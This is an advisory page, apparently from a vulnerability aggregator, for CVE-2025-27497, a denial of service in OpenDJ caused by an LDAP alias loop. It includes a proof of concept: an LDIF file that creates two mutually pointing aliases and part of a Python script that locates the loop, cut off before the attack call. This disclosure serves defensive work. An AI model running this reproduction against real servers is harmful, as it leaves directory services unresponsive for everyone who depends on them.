🛡️ CVE-2025-27497 — opendj-server-legacy
Description
OpenDJ Denial of Service (DoS) using alias loop
Summary
A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests.
I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.
Details
An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.
PoC (Steps to Reproduce)
1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com
2. Import the attached example_data_alias_dos.ldif file into the LDAP database
3. Ensure that the ldap3 Python library is installed (pip install ldap3)
4. Run the attached Python script python opendj_alias_dos.py, which searches for alias loops and executes the DoS attack
5. After executing the script, the server will stop responding to requests until it is restarted
Impact
This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:
```
result: 80 Other (e.g., implementation specific) error
text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.
```
example_data_alias_dos.ldif
```
dn: dc=example,dc=com
objectClass: top
objectClass: domain
dc: example
dn: ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: people
description: All users
dn: ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: students
description: All students
dn: uid=jd123,ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
mail: [email protected]
sn: Doe
cn: John Doe
givenName: John
uid: jd123
dn: ou=employees,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: employees
description: All employees
dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
uid: jd123
dn: ou=researchers,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: researchers
description: All reasearchers
dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com
uid: jd123
```
opendj_alias_dos.py
```Python
import argparse
from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError
def connect_to_ldap(ip, port):
try:
server = Server(ip, port, get_info=ALL)
connection = Connection(server, auto_bind=True)
return connection
except (LDAPBindError, LDAPSocketOpenError) as e:
print(f"Error connecting to LDAP server: {e}")
return None
def find_aliases(connection, base_dn):
try:
search_filter = "(objectClass=alias)"
connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
except Exception as e:
print(f"Error during search: {e}")
aliases = {}
for entry in connection.entries:
entry_dn = entry.entry_dn
entry_alias = entry.aliasedObjectName.value
aliases[entry_dn] = entry_alias
return aliases
def detect_alias_loop(aliases):
visited = set()
path = set()
def dfs(alias):
if alias in path:
return alias
if alias in visited:
return None
path.add(alias)
visited.add(alias)
aliased_target = aliases.get(alias)
if aliased_target:
result = dfs(aliased_target)
if result:
return result
path.remove(alias)
return None
for alias in aliases:
if alias not in visited:
loop_alias = dfs(alias)
if loop_alias:
return loop_alias
return None
def execute_dos_search(connection, looping_alias_dn):
try:
search_filter = "(objectC
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2025-27497 is classified as CWE-835: Infinite Loop. A loop condition can never become false for some inputs, hanging the process.
Affected software
CVE-2025-27497 is recorded against 2 packages.
- org.openidentityplatform.opendj:opendj-server-legacy (fixed in 4.9.3)
- unknown
Timeline and source
Published on 5 March 2025. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| org.openidentityplatform.opendj:opendj-server-legacy | — | 4.9.3 |
| unknown | — | — |
References
Similar Threats
- Critical GHSA-p279-2cqp-84jg
- Critical CVE-2026-46495
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Site Security Check
Is opendj-server-legacy part of your stack?
CVE-2025-27497 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.